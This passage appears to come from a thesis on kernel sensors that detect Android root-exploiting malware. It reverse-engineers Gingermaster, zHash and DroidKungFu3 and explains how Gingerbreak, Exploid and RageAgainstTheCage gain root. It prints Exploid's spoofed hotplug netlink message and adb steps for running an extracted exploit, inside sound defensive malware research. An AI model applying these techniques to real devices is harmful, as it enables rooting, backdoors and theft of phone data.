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maximum number of processes allowed on the device. For the HTC Incredible [18], RATC

only needs to spawn at the most 3,304 threads. The emulator requires 6,656 processes.

Therefore, a sensor in kernel/fork.c will inform the malware detection algorithm when

user-level processes generate new threads. When a process reaches a threshold of over 700

threads, the detection algorithm can log the event and prevent the process from spawning

more processes.

Both Exploid and Gingerbreak send messages using the NETLINK_KOBJECT_

UEVENT protocol. The developers designed the protocol for processes to listen to kernel

events, but not to send messages over the protocol. Only the kernel should send

messages over this link, because other processes assume all the messages come from

inside the kernel. The two exploits send messages over the protocol tricking other (root)

processes to run their malicious code as root. As Google already patched Android

2.4+ from NETLINK_KOBJECT_UEVENT exploits, the malware detection algorithm will

log any processes attempting to send messages using the described protocol. Inside

net/socket.c#sendmsg(), a sensor will inform the detection algorithm of the attempted

intrusion.

3.3.3 Android Operating System.

In this experiment, the detection algorithm runs under the Android 1.6, 2.1, 2.2, 2.3.3,

3.0, 4.3 and 4.4 operating systems. The sensors operate successfully under Linux version

2.x and 3.x. However, the Android emulator expects Linux 2.x. Of note, the latest operating

systems patched themselves from the exploits. The Android versions vulnerable to the three

exploits include:

• Gingerbreak (Android versions ≤ 2.3.3)

• Exploid (Android versions ≤ 2.2), and

• RageAgainstTheCage (Android versions ≤ 2.2.1).
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To determine if an application is malicious, the scripts send the sha1 hash of the

application to VirusTotal [38]. If more than 50% of the sources claim the application as

malware, the research will assume malware. If the sample is malware, The malware report

summaries explain if the application tries to root the phone.

3.4 Testing

To test the accuracy of the sensors, the research proposes the following methodology

(see also Figure 3.2).

1. Create clean Android virtual devices (AVD) for versions 1.6, 2.1, 2.2, 2.3.3, 3.0, 4.3

and 4.4 of the operating system with the detection algorithm running in the kernel.

The AVDs acts as the baseline image for the tests.

2. To ensure a clean baseline, the experiment takes a snapshot at this point for each

AVD. A snapshot preserves the memory and data at the given time of the snapshot.

The test will revert to this snapshot after each experiment.

3. The experiment installs one Android application sample onto the device. The

test knows in advance if the application is root-leveraging via VirusTotal [38].

Therefore, the testing is a single-blind experiment.

4. The experiment executes the application in the AVD. This will allow the detection

algorithm to perform behavior analysis on the application.

5. The application runs for 1 minute. This will ensure each experiment finishes in a

timely manner. It also opens a vulnerability for timing attacks. In the real-world, the

detection runs as long as the machine is on. If a malicious application chooses to

wait, the detection algorithm will wait as well.

6. The experiment sends the BOOT_COMPLETED message to machine. This simulates a

reboot. Some malware will only run after a reboot.
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7. The experiment waits another minute.

8. At this point, the algorithm reports its findings. No output means the algorithm

overlooked any attempted root exploits. An entry describes a possible root exploit

and which type of exploit. The experiment compares the result to the true answer.

9. The experiment reverts the snapshot and repeats steps 3-8 until they test all the

samples.

Figure 3.2 shows the above procedures in a flowchart. The flowchart assumes the test

already checked if the application is malicious by sending the SHA1 hash to VirusTotal [38].

Of the applications deemed malicious, the test only inspects malware that tries to gain root

permissions.

Some malware came with anti-forensics techniques. In particular, the malware can

discover the emulator by turning the WiFi component on and off. As of the testing in 2013,

the emulator runs a broken WiFi component. By WiFi failing, the malware can detect

forensics. Therefore, in order to test the known malware samples, the extracted payload

from the application runs in the emulator. In addition, a dissembler provides information

on the resources the payload requires to run correctly. Chapter 4 describes the process

for reverse-engineering malware to find the local privilege escalation code in the different

malware families. The chapter also includes how to extract the code and counter additional

anti-forensic techniques employed by the malware.

3.5 Performance Metrics

For the experiment, the null hypothesis is as follows:

H0 = The algorithm does not detect 95% of root-leveraging malware

Ha = The algorithm detects 95% of root-leveraging malware
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Figure 3.2: Testing Flowchart

To reject the null hypothesis and accept the alternative hypothesis, the research

calculates the following metrics which include:

• the algorithm detects rooting applications regardless of the Android OS version,

• probability the algorithm will detect rooting apps correctly (true positive),
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• probability the algorithm will detect non-rooting apss as rooting (false positive/-

type II error),

• probability the algorithm will detect non-rooting apps correctly (true negative),

• probability the algorithm will detect rooting apps as non-rooting (false negative/-

type I error), and

• the algorithm’s detection compared to traditional antivirus.

3.6 Boundaries

For this experiment, all tests run in the Android 1.6, 2.1, 2.2, 2.3.3, 3.0, 4.3 and 4.4

emulators provided by the Android standard development kit (SDK) [5]. The emulator

allows the enterprise servers to run the Android virtual devices via scripts. All three exploits

worked for Android 2.2 (Froyo). The research tests multiple Android operating systems to

ensure the detection works even if the exploit does not. The virtual machines will not

have access to network resources or short message service (SMS). By default, the emulator

enables network communication and SMS.

Because of no access to the Internet, some malware may not run. Indeed, some

malware may detect they are “caged” and refuse to run. If the malware refuses to run,

the algorithm will not detect malicious behavior. To overcome anti-forensic malware, the

adb program runs extracted payload (see Chapter 4). The disassembler (IDA Pro 5) will

provide insight for the payload’s requirements to run independently from the application.

All 379 malware samples collected incorporated their payload as a standalone executable

and linkable format (ELF) 32-bit ARMv5 application.

Inputs to the test include Android applications (non-rooting and rooting) sent one

at a time. Between each application sample, the virtual machine reverts back to baseline.

The application installs and opens. After one minute, the machine reboots. The algorithm
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reports if it detected a rooting exploit. VirusTotal [38] and Malware Genome Project [56]

report in advanced if the application sample should root the virtual machine.

3.7 Workload

For this experiment, the Malware Genome Project [56] provided 1,260 malware

samples. Of those, 379 contained root-level exploits to fully compromise the system.

In conjunction, the experiment tests over 16,000 legitimate applications. The Android

applications will act as the workload. Each emulator runs with the detection algorithm

installed.

The Android emulators run with 1907 megabytes (MB) of random access memory

(RAM), 200 megabytes of storage and one central processing unit (CPU). For Android

versions 3.0 and lower, the CPU emulates ARM version 5 (32-bit). For Android versions

4.3 and later, the CPU emulates ARM version 7 (32-bit). This ensures the CPU will

run the baseline Android emulator for each version. At this time, the Android standard

development tool kit (SDK) emulators have issues with RAM above 778 MB for Windows.

In addition, lower resources simulates an actual phone device and allows for more

emulators to run on the testing servers.

3.8 Summary

As the cost of malware reaches $100 billion a year [44] and Android becomes the

fastest growing area for malware [9], consumers need malware detection. As a result, this

research aims to detect malware trying to leverage root permissions through behavior-

based detection. The detection runs inside the Linux kernel for persistence.
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IV. Reverse-Engineering Analysis

4.1 Introduction

This chapter presents findings and observations from the manual reverse engineering

process of this experiment. The experiment requires the execution of known malicious

software. Therefore, caution will ensure the experiment keeps the malware inside the

virtual machine.

4.2 Research Contribution

The research discovered two critical paths capable of detecting 100% of the 379

malware samples running Exploid, Gingerbreak or RageAgainstTheCage (RATC). In

addition, the algorithm generated 0% false positive for the 16,577 benign applications. The

next chapter discusses the testing of the malware samples.

As the Android kernel and malware continues to change, new critical paths emerge.

Therefore, this chapter demonstrates how to discover future critical paths from reverse-

engineering malware and how to add sensors to the Android kernel. The design pattern

to detect Exploid, Gingerbreak and RageAgainstTheCage work for other exploits as

well.

4.3 Reverse Engineering Malware

For this research, the experiment requires reverse-engineering three malware families:

Gingermaster, zhash and DroidKungFu3. These malware families utilize the only

(known) jailbreak exploits that malware writers incorporate [56]. As the research

community discovers new jailbreaking techniques, future researchers may follow the below

design procedure to incorporate the capability into the Android’s Linux kernel.
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4.3.1 Android Malware Genome Project.

The Android Malware Genome Project [56] provided 21 malware samples for

reverse engineering. Four of the samples belonged to Gingermaster, six belonged to

DroidKungFu3 and eleven belonged to zHash. Their collections includes over 1,200

malware samples.

4.3.2 Reversing Approach.

Each family of malware analyzed follows a similar reverse-engineering approach. The

first step required harvesting. The second step required setting-up a controlled environment

to prevent the malware from propagating. The malware runs inside a virtual machine

operating system with an Android emulator. Before running the Android emulator, the

virtual machine turns off its network access to blocked network traffic to the emulator.

Each instance of malware underwent behavioral analysis inside the Android emulator

[3]. The emulator runs Android 2.2. Certain malware activities generate logs which are

viewable using the Davlik debug monitor service (DDMS). Dex2Jar [11] converted the

malware application to a Java archive (JAR) file. JD-GUI [13] converted the Java bytecode

to source code. The source code provided static analysis. Malware with local privilege

exploits include ELF files. IDA-Pro [17] converts machine code to assembly. Running

the malware in the emulator provided dynamic analysis. With online research, behavioral,

static and dynamic analysis running, the malware samples exposed how it copies itself

into the filesystem, activates its malicious payload and the functionality of the payload.

The following sections explain in further detail the reversing approach for each malware

family.

4.4 Gingermaster Android Malware Family

Shortly after Android developers added an additional boundary check to their volume

daemon (vold) in April 2011, malware writers developed a root exploit to take advantage

of a new vulnerability that the boundary check introduced [43]. The new vold daemon
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handles external storage devices attached to the Android device. Cyber defense teams

discovered Gingermaster for Android in Chinese third-party application markets in

August 2011. Researchers named Gingermaster malware family after the Gingerbreak

exploit which takes advantage of the new vold boundary checking vulnerability. The

vulnerability affects Android version 2.2 (Froyo) and versions 2.3 - 2.3.7 (Gingerbread).

Malware writers repackage Gingermaster malware into popular, legitimate applica-

tions previously available in the official Android application market. The actual exploit

resides in the application in the form of a regular image file named gbfm.png found in

the assets folder of the .apk file. Gbfm stands for ‘ginger break for me’, and the .png

extension protects the file from immediate antivirus (AV) software detection [43].

The Gingermaster family of malware performs a variety of functions, not just

obtaining root-level access to the device. The malware collects information from the

device such as the device’s ID and telephone number. The malware attempts to send

it to a remote web server. Once the malware obtains root access, it then remounts the

/system partition as writeable allowing the command and control (C2) servers to install

future utilities on the device. The C2 application can silently re-install Gingermaster if

the user tries to purge the application [21].

4.4.1 Behavioral Analysis Approach and Findings.

The baseline Android virtual device (AVD) to execute Gingermaster applications

should run Android 2.2 (Froyo). Android 2.2 contains the vulnerability Gingermaster

exploits. When installing Gingermaster, the com.igamepower.appmaster package

appears in the installed packages list on the device [53].

With DDMS debugging the Android emulator, the Gingermaster-infected applica-

tion tries to contact its command and control server. The website that the malware tries to

contact no longer exists.
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Despite the malware’s inability to make contact with the command and control server,

DDMS records the activity in the debugger’s log files. When the application launches,

GameSvc.class creates a new database and attempts to post the database’s information to

the attacker’s website. The application acquires the user identification (UID), international

mobile station equipment identity (IMEI), international mobile subscriber identity (IMSI),

SIM Card Number, Device Telephone Number, Network Type and other information

from the device. Then the malware attempts to send that information to its server. The

application attempts multiple times to send the information to its remote server. Since

the server not longer exists, the attempts fail and the malware continues to execute on the

device.

4.4.2 Static Analysis Approach and Findings.

Next, dex2jar [11] converts the Dalvik bytecode to Java bytecode. Then the free

Java Decompiler program jd-gui converts the Java archive to source code. When opening

the Gingermaster.jar file in the Java Decompiler, the program contained 105 .class

files. The .class files which perform most of the application’s functionality are the first

12 files. The malware writers did not obfuscate the names of important files.

According the the National Cyber Awareness System (CVE-2011-1823), the applica-

tion gains root privileges by exploiting the Gingerbreak privilege escalation vulnera-

bility [32]. This vulnerability takes advantage of the vold volume manager daemon on

Android 2.x. This daemon inherently trusts all messages it receives from a PF NETLINK

socket. This allows local users to execute arbitrary code and gain root privileges via a

negative index that bypasses a max-only signed integer check in the DirectVolume::

handlePartitionAdded method, which triggers memory corruption [32]. The GamerS

ervice.class executes gbfm.png which contained the memory corruption trigger and

payload activation.
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Looking at the top 12 .class files in the package, the first file of interest is

GameBootReceiver.class. This file contains the method onReceivewhich requires two

arguments. The Gingermaster family registers system-wide events known as Intents.

By registering for system-wide events, the malware can rely on the built-in support of

automated event notifications and callbacks to trigger its payloads. Gingermaster-

infected malware utilizes the android.intent.action.BOOT_COMPLETED system event.

This event will trigger when the device finishes its boot-up process, at which point the

malware’s GameBootReceiver.class creates a new GameService object.

The GameService.class file performs most of the legwork for this malware

application. The first method in this class performs the function of finding the benign-

looking PNG files contained within the application’s /assets folder and changing their

extensions to .sh. Later, it changes the SH files to (UNIX) permissions 775 (rwxrwxr-x)

to provide write and execute privileges. Then, the application executes each SH file.

By browsing the Gingermaster application as a compressed ZIP file, the four PNG

files that GameService.class executes appear. The magic number shows the files are

executable and linkable format (ELF) files. IDA Pro translated the ELF files as compiled

32 bit Acorn RISC machine (ARM) version 5 executables.

According to the national institute of science and technology (NIST) report on Ging

ermaster malware, the payload that performs the rooting capability (Gingerbreak)

is contained within the gbfm.png file [32]. IDA Pro disassembled the the gbfm.png

machine code. As reported by NIST, Gingermaster executables rely on an exploit within

Android’s volume daemon (vold), the program that automatically mounts CD-ROMs,

universal serial bus (USB) drives and other removable media [32]. They discover during

the research that on April 19, 2011, the Android authors added an extra boundary check

for mPartMinors[] in DirectVolume.cpp which is one of the vold’s source files. The

part num < MAX PARTITIONS boundary check already presided in the code. The added
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boundary check protects part num < 1. Part num is an integer variable passed within

the PF NETLINK event message which is an argument for the handlePartitionAdded()

function [43].

The code assumes that part num is always greater than or equal to 1. In the

case of negative values passed in, the code will reference the memory location before

mPartMinors[] base pointer. This referenced memory will be overwritten with the values

contained in the variable minor, also passed in with the PF NETLINK event message. By

specifying a negative index value, the attacker may reference and overwrite the memory

belonging to the global offset table (GOT) within the image of the vold executable.

The GOT typically contains stored offsets of the imported application program interfaces

(APIs), which will execute with the same root privileges as the vold process [43].

The function handlePartitionAdded() is only invoked within the vold process

when a hotplug event occurs (media insertion/removal). When this happens, the daemon

that listens to the PF_NETLINK socket receives a packet of data for that event. The gbfm.

png.sh program opens the PF_NETLINK socket and sends invalid parameters in order

to fake a hotplug event. The hotplug event invokes the handlePartitionAdded()

function [43]. Appendix E.2 provides a sequence diagram of how Gingerbreak exploits

the boundary check vulnerability.

Function sub 8F5C performs the mounting of a new device in order to trigger the

handlePartitionAdded() event. Function sub 9144 performs a read on /proc/net/

netlinkwhich provides a list of open PF NETLINK sockets and PIDs of processes that have

those sockets opened. When it finds the vold process, it changes the global offset table

(GOT) entry strcmp() to system(). The function sub 9B4C, when executed, changes

the owner and group permissions of the shell to Super User ID (SUID) or root, detects

the Android OS version currently running, finds vold’s GOT and performs the negative

message sending event to the PF NETLINK socket.
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If gbfm.sh executes successfully, then /data/local/tmp/sh runs with root

privileges. The file runme.png.sh, which contains ARM instructions, finds the global

offset table (GOT) and compares each value in the table with the value in /system/bin/

sh. If the values are equal, the executable loads the contents of /system/bin/sh onto

the stack, then pops them. The file provides gbfm.sh helper functions to find the correct

functions in the GOT and overwrites them with the system() function.

Next, install.sh and installsoft.sh both run shell scripts. The install.sh

creates a new /app folder in the /system directory and provides the user with ownership

as well as read, write and execute privileges. Installsoft.sh checks to see if the new

/app system directory exists.

Furthermore, the code in the GameService.class file collects information from the

Android device and attempts to send that information to a web server. The code gathers

the device ID number, the Subscriber ID (SIM) number, the SIM card serial number, the

telephone number, and network type. Then the code sends the data to a command and

control (C2) website. The android virtual device (AVD) log files previously observed this

behavior in action when the application launched in the Android emulator.

Another method in GameService.class checks the external storage state of the

device for a mounted external secure digital (SD) card. Gingerbreak controls this external

storage to install other packages in the future, as an additional feature of the malware.

Lastly, within GameService.class, the Gingermaster-infected application listens

for four different commands from its command and control server. The server will send the

application on the device the command to execute, delete or install a package on the device

or to list all packages currently installed on the device.

4.5 zHash Android Malware Family

In the Chinese and Official Android market, malware writers devised a new malware

family in early 2011. This new malware, known as zHash, hid itself as a free language
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translator [45]. Security analysts named the malware zHash, because it leaves a backdoor

root shell at /system/bin/zhash. Several of the discovered malware hid the zHash file

inside the APK ROOT/res/raw folder.

Before discovery, over five thousand users downloaded the application from the

official Android Market [45]. Since then, Google removed the malware and provided

mechanisms to remove the infection. These methods included remote application removal.

Oddly, the malware only provides a backdoor root shell. The malware will not try

to steal information or turn the device into a botnet. The possibility remains that a second

Trojan may try to leverage the backdoor.

As with the previous example, the tools dex2jar and jd-gui provided means to

examine the Java bytecode. For the exploit code, IDA Pro generated static disassembly of

the advanced RISC machines (ARM) machine code. DDMS provides dynamic debugging of

malware.

The malware contains Acorn RISC machine (ARM) code at APK_ROOT/res/raw/

extend and APK_ROOT/res/raw/zHash. Since Android discourages native code [4], the

files require investigation. IDA-Pro disassembles the machine code.

A search of the functions and strings in extend led to discovery of the original source

code [14]. The file extend contained the local root exploit Exploid. Disassembly lead to

discoveries on how the exploit works. Appendix E.1 shows the sequence diagram of how

the exploit spoofs a hotplug event to root the device.

The exploit first checks to ensure that the caller placed the root exploit in /sqlite_

stmt_journals, /data/local/tmp or /data/data/com.zft/files/. If /sqlite_

stmt_journals exists, the exploit should reside in that folder. Otherwise, the exploit

should reside in /data/data/com.zft/files/.

Next, the exploit copies itself to sqlite stmt journals with the filename hotplug

and opens a socket to NETLINK KOBJECT UEVENT. According to the netlink (7) man page
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[24], this socket sends kernel messages to user space. In addition, Linux’s hotplugs [26]

rely on this datalink. The exploit takes advantage of hotplug’s usage on this channel.

Linux utilizes hotplugs to manage removable media [27]. For example, hotplugs

can detect if the user inserted a universal serial bus (USB) thumb drive. In Android,

turning on the WiFi feature triggers the hotplug event. The exploit’s next move requires a

symbolic link from /proc/sys/kernel/hotplug to /sqlite_stmt_journals/data.

Then, the exploit sends the following message via PF NETLINK.

ACTION=add

DEVPATH=/../sqlite_stmt_journal

SUBSYSTEM=firmware

FIRMWARE=../../..sqlite_stmt_journal/hotplug

The next time the user adds a hotplug item, the system will re-run the exploit at

/sqlite_stmt_journals/hotplug. To speed up the process, the Android malicious

application will toggle the wireless feature off and on. In addition, the malware knows

forensic teams caged the application in an emulator if the WiFi toggle fails. The Android

emulator’s WiFi feature is not fully implemented. After the kernel calls the exploit, the

application will run with an effective userid of 0 (root). From here, the malware

remounts the read-only /system folder with read/write privileges to allow the malware

to copy zHash to /system/zHash with set user identification upon execute (setuid) to

root. The zHash file simply spawns a shell running with root permissions.

For persistence, zHash continues running even after a restart. The malicious

application requests notification of android.intent.action.BOOT_COMPLETED and

allows zHash to start itself after a reboot. Any application may execute zHash for backdoor

access to the device.
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4.6 DroidKungFu3 Android Malware Family

As the name implies, exploit writers created this malware as the third iteration of

DroidKungFu. Each iteration adds further sophistication to the Trojan. Figure 4.1 conveys

the changes in the three iterations of this malware family.

DroidKungFu(1) DroidKungFu2 DroidKungFu3

Discovery Date June 2011 July 2011 August 2011

Malicious

Component

com.google.

ssearch

com.eguan.state com.google.update

Embedded Root

Exploits

Exploid (encrypted),

RageAgainstTheCage

(encrypted)

Exploid (plaintext),

RageAgainstTheCage

(encrypted)

Exploid (encrypted),

RageAgainstTheCage

(encrypted)

C2 Servers One hardcoded in Java

as plaintext

Three hardcoded

in native code as

plaintext

Three hardcoded in

Java as ciphertext

(AES)

Embedded Payload Plaintext None Encrypted (AES)

Estimated Number

of Infected Apps

30+ 25+ 38+

Figure 4.1: Evolution of DroidKungFuMalware [22]

As with the previous examples, the tools dex-2-jar and jd-gui provided means to

examine the bytecode. For the exploit code, IDA Pro generated static disassembly of the

advanced RISC machines (ARM) machine code. DDMS provided debugging for dynamic

analysis

The program ran advanced encryption standard (AES) encryption on foobin,

init.db, newint and rawicon. The application decrypted the four files using AES with a
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hard-coded password inside the same class file. First, foobin decrypted as an executable.

The executable performed the same operations as Exploid from zHash. Next, init.db

decoded as a Java application resource (JAR).

The init.db file contained the command and control (C2) part of the Trojan which

sends phone information such as the international mobile equipment identity (IMEI),

operating system and network operator to three C2 servers. The malware sends the

information over the hypertext transfer protocol (HTTP) inside the POST request method.

The malware encrypted the domain name services (DNS) of its C2 servers inside the

application. However, the writers used the same password to decrypt the names of the

servers. Writing a short Java program revealed the names of the C2 servers. The encrypted

C2 server names were inside the RR.class file (after running dex-2-jar).

Along with Exploid, DroidKungFu3 introduced another local root exploit known as

RageAgainstTheCage [48]. Depending on if the device is running in debug or production

mode, RATC takes advantage of a race condition that prevents the android debugger (ADB) or

zygote process from setting its user identification from root to AID SHELL. In Android,

ADB (debug-mode) and zygote (production-mode) are pre-build applications created by

init. They are initialized and contain all the core libraries. When the system needs to

start a new application, the system forks zygote. By copying zygote, the system starts

applications quicker because the system no longer needs to copy shared libraries.

The system only copies the shared libraries if the new process tries to modify the

shared libraries. Therefore, core libraries reside in a single place, because they are read-

only. The strategy saves processing time and memory space. The zygote process typically

contains more libraries than the new application requires in order to “catch-all” different

application requirements.

To exploit this, the malicious process forks several processes until the system reaches

RLIMIT_NPROC processes. Appendix E.3 shows the sequence diagram of how RATC
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exploits RLIMIT_NPROC. Linux implemented RLIMIT_NPROC to place a maximum number

of processes that a real user ID may create. In Android, each application is a unique

user to the system. The threshold protects a single application from trashing the system.

Upon encountering this limit, fork(2) fails with errno(3) set to EAGAIN. For the

exploit, RATC’s calls fork(2) until the system call fails with EAGAIN. At this point,

RATC determines the process ID (PID) of ADB or zygote and kills the process. Now the

system contains RLIMIT NPROC − 1 running processes. Upon notification of zygotes’s

termination, the system will restart zygote.

At this point in RATC’s exploit, RATC races to spawn RLIMIT NPROC processes

before zygote calls setuid(2). If the exploit wins, zygote will not handle the failed

setuid(2) command and continue to run with root permissions. When the system forks

new zygote processes, they will all spawn with root privileges.

The exploit terminates its instances and fork’s another version of itself. Now the

exploit runs with an effective user identification of root. With root privileges, the exploit

follows a similar pattern as Exploid. The program remounts the /system folder from

read-only to read/write. The exploit then creates a file called /system/bin/sh with the

setuid bit set to root.

By subscribing to BOOT_COMPLETED, the malware runs during startup. At startup, the

applications verifies that the com.google.update.UpdateService application exists.

UpdateService is the C2 application. If not, the malware relaunches the local root

exploits.

4.7 Summary of Findings

Figure 4.2 provides a summary of the malware. All three families are Trojans, because

they disguise themselves as a legitimate applications. Conversely, they operate under

different methods of operations. Gingermaster disguises itself as several repackaged

applications. Trojan zHash disguises itself as a stand alone free language translator. No
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known repackaged version of zHash exist at this time. DroidKungFu3 disguises itself as

an official Google update module. The installation method is known as an update attack,

because the application appears to be a legitimately released update. All three families

were available in the Official Android Market. In addition, all three families are available

in third-party Chinese application markets which appeal to the Chinese population because

they are blocked from the official Android market [10].

Gingermaster zHash DroidKungFu3

Discovery Date April 2011 Early 2011 August 2011

Local Root

Exploit

Gingerbreak Exploid Exploid, RATC

C2 Servers 1 0 3

Obfuscation File Extension and

File Name

Obfuscation

File Name

Obfuscation

AES Encrypted

(Exploit and C2 APK

File)

Malware Type Trojan

(Repackaged App)

Trojan

(Standalone App)

Trojan

(Update Module)

Persistence BOOT COMPLETED BOOT COMPLETED BOOT COMPLETED,

BATT, SYS

Figure 4.2: Summary of the three malware families

The installation methods of each application are also very similar, but DroidKungFu3

has an important difference. When the user installs and launches each of the three infected

applications, they all register with the device for system events. All three families register

for the BOOT COMPLETED system event which notify registered applications of reboots.

Upon a device reboot all three applications automatically start as a running daemon in
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the background. DroidKungFu3 also registers for two other system events, namely BATT

and SYS. Several circumstances such as BATTERY LOW and SIM FULL trigger BAT and SYS.

DroidKungFu3 has 10 different events that will initiate its services. The large number of

registered events ensure that the application launches quickly and often once installed on

the device.

The three malware families carry payloads designed to obtained root-level access

with different vulnerabilities. The summary below explains the different vulnerabilities the

malware families employed to root the device. In addition, the summary explains some

the obfuscation techniques the malware employs to avoid detection.

1. Gingermaster’s exploit, called Gingerbreak, resides in APK_ROOT/assets/

gbfm.png file. The game service changes gbfm.png to a SH extension and executes

this code. Gbfm.png is an executable and linkable format (ELF) file that exploits a

vulnerability in the Android’s volume daemon creating a memory overwrite in the

Global Offset Table to obtain root-level privileges on the device. The game service

also sends its command and control server device and user account information.

Lastly, it remounts the system partition to writeable and listens for commands from

its C2 server to install, run, delete and list packages.

2. zHash’s exploit, called Exploid, resides in APK_ROOT/res/raw/extend. The

application launches and executes the file containing the exploit. The exploit moves

to sqlite_stmt_journals and renames itself to hotplug. Then the malware sends

a message to init via NETLINK KOBJECT UEVENT. The message states that init

should run /sqlite_stmt_journals/hotplug as root at the next hotplug event.

The malware will also invoke a hotplug event to trigger this activity. Finally, the

malware remounts the /system partition with write privileges, likely for future use

once the malware successfully rooted the device.
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3. DroidKungFu3 contains two local root exploits, Exploid, which resides in the file

foobin, and RageAgainstTheCage or RATC, which resides in the file rawicon.

The zHash section discussed Exploid’s exploitation technique, but RATC takes

advantage of a race condition to obtain a process with root privileges. Once the

malware obtains root-level privileges, the process installs an application contained

in the file init.db which handles the communication with the C2 servers. The

malware writer(s) AES encrypted each file that contained the root-level exploits,

but the writers hard-coded the password within the rr.class file. At the time of

this study, no other Android malware family leverages AES encryption to protect

their C2 instructions and servers within the code. The malware also remounts the

/system partition as writable for future package installs and sends user and device

information to its servers.

4.8 Malware Detection Set-Up

This section describes the how to set up the malware detection algorithm on Android.

The discussion covers the process to install the sensors, the speed of the sensors, and testing

procedures. Of note, the sensors install under all current versions of Android and Linux

versions 2.26 and 3.13.

4.8.1 Create Android Emulator Using Android Virtual Device Manager.

The Android virtual device manager (AVDM) allows creating multiple VMs of

different Android operating systems. As of the writing of this thesis, the AVDM included

Android 1.6 (Donut) through 4.4 (KitKat). In addition, the AVDM allows each Android

virtual device (AVD) to swap out kernels with the command line. Android devices allow

users to swap kernels using recovery mode. The following command will launch an AVD

called Android-2.2 with a custom Linux kernel (usually called zImage after compiling).

$ emulator -avd Android-2.2 -kernel /path/to/zImage -show-kernel
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4.8.2 Installing the Sensors.

Appendix C explains in detail where to place the sensors. In order to detect

RageAgainstTheCage (RATC), the sensor needs to track all newly created processes.

When an application executes a fork bomb, the sensor reports the application to sylog

(located at /proc/kmsg in Android).

Gingerbreak and Exploid both rely on the same critical path. The sensor must track

all sendmsg(2) requests. When the sensor detects an unprivileged process trying the send

a message via NETLINK_KOBJECT_UEVENT, the sensors report the application to syslog.

In both situations, the latest Android operating system and Linux kernels protect the

user from the mentioned local root exploits. If the user runs Android version 2.2 (Linux

kernel 2.6.29), the three vulnerabilities succeed. The sensors reside in the same place for

Linux kernel 2.6.29 as 3.13. In the case of 2.6.29, the user may modify the sensor to

prevent the exploit. From January 1 to January 8, 2014, 22.5% of the unique users visiting

the Google Play Store application ran Android versions between 2.2 and 2.3.7 [6]. The

Google Play Store does not support Android versions older than Android 2.2, but versions

older than Android 2.2 account for about 1% of devices that checked in to Google servers

in August 2013.

4.8.3 Speed of the Sensors.

This section discusses the speed of the sensors inside the kernel. The test measures

the speed of the sensors in asymptotic notation. Nanosecond timing proved invalid for

several reasons. Because the tests ran with malware, the malware could interfere with

timing mechanisms inside the Android operating system. The malware samples root the

Android kernel. Therefore, all messages from the kernel lacked credibility. In addition,

the Android virtual device (AVD) executed inside an Ubuntu 12.04 virtual machine on a

Windows 8.1 host machine. With three layers of virtual machine abstraction between tested

kernel and actual hardware, several environmental factors created discrepancies between
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the runs. The timings changed during runs by up to 30 seconds. Since the sensors run

in nanoseconds, 30 second variances could not provide accurate results. To keep the

malware from propagating outside the lab, the kernel could not run on physical hardware.

By running the malware on the Android emulator inside an Ubuntu virtual machine with

no network connectivity or peripherals, the malware lacked access to other systems. On

a physical device, the malware could turn on Wifi, near field communication (NFC), or

Bluetooth after rooting the phone. In addition, the sensors included too few operations

for accurate timing techniques provided by the kernel. The function ktime_get_ts()

inside the kernel, which provides nanosecond accuracy, contains more instructions than the

sensors. Furthermore, the additional instructions to compare the time difference between

two function calls to ktime_get_ts() would add further variance to the nanosecond

timing of the sensors.

Asymptotic notation determined the limiting behavior of each sensor. The results look

strictly at the additional complexity of the sensor. For the first sensor, which resides in

fork.c and detects RATC, Equation 4.1 shows the asymptotic notation of the algorithm.

O (n)

Ω (1)
(4.1)

The value of n is the number of processes the malicious application forked to reach

RLIMIT_NPROC. Therefore, n ≤ RLIMIT_NPROC where RLIMIT_NPROC is bounded by [20,

∞). For the Android emulator, the goldfish kernel sets RLIMIT_NPROC default value

to 6,656. Only root or a user with CAP_SYS_RESOURCE token may change this value.

Because fork bombs usually have the parent and children spawn processes, the fork bomb’s

processes data structure becomes a binary tree. Therefore, the speed is usually O(log n).

Under worst case (only the child process ever runs), the process data structure becomes a

linked list, and the sensor runs in O(n). For benign applications which do not reach their
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RLIMIT_NPROC quota, they never reached the sensor’s critical path. Therefore, the sensor

runs in constant time for benign applications.

Next, the sensor in socket.c detects Gingerbreak and Exploid. The sensor

operates in constant time. In other words, the algorithm operates independently of any

input to the algorithm. Input will not increase function growth for the sensor. Equation 4.2

shows the asymptotic notation of the algorithm.

O (1)

Ω (1)

Θ (1)

(4.2)

When inspecting the asymptotic quantification of memory, both sensors’ memory

consumption do not grow with input. Because the kernel needs to maintain a small

footprint, kernel developers need to require as little memory space as possible. On 32

bit machines, the default compiler options fix the kernel stack size to 8 kilobytes [28].

4.8.4 Testing Procedures.

After adding the following modifications to the kernel, the developer compiles the

Android Linux kernel. Of note, developers should compile Android 4.x with ARM-eabi

version 7. All other versions should use ARM-eabi version 5. As of this thesis, the source

code for goldfish contains both version 2.6.29 and 3.4. Version 3.4 is still in development

and not recommended for testing [46].

For the experiment, the adb program from the Android standard development kit

(SDK) installs the malware onto the Android virtual device by the command adb install

<program file.apk>. The command will respond if the application installed correctly.

Since the three malware families require WiFi permission, they can determine if they are in

a virtual machine, because the Android VM cannot enable WiFi [3]. When the WiFi toggle

fails, the malware has a good indication that the underlying system is an Android virtual

device.
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To overcome the malware anti-forensics, the exploit must run outside of the

application. For Gingerbreak, the exploit resides in assets/gbfm.png. The adb

program can push the exploit to the Android virtual device (AVD). Next, the adb program

remounts the entire Android file system as read/write. The command, adb shell, spawns

terminal shell in the AVD. On the terminal, the command chmod 777 gbfm.png makes

the file runnable. The file gbfm.png is really an executable and linkable file (ELF) instead

of portable network graphic (PNG). From the shell, the command, ./gbfm.png, starts the

exploit.

For the other two malware families, the zHash exploit resides in /res/raw/extend,

/assets/exploid, or /assets/secbino. For DroidKungFu3, the malware encrypted

the exploits at /assets/* with AES. The malware writer(s) hardcoded the password in the

program’s bytecode, and the password changes based on the sample. Like Gingerbreak,

the adb program pushes the exploit to the AVD, configures the filesystem as writeable, sets

the exploit file as executable, and launches the exploit.

4.9 Summary

The effectiveness of this research requires a procedural understanding for reverse

engineering malware. By discovering how the malware roots the device, modifications

to the kernel can detect the exploit. In addition, understanding the inner workings of the

kernel ensures minimal asymptomatic changes to memory space and running time.

In this research, all the sensors relied on kernel data structures to acquire information.

By utilizing kernel data structures, the sensors save memory in the kernel. In the kernel,

actions should happen quickly with as little memory consumption as possible [28]. In

addition the kernel data structures decreased the big O complexity of the sensors, because

the sensors no longer needed to manage their own data structures.
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V. Detection Analysis

5.1 Introduction

This chapter discusses the results of the experiment. The research followed the

techniques discussed in Chapter 4 to extract the payload from the malicious software. The

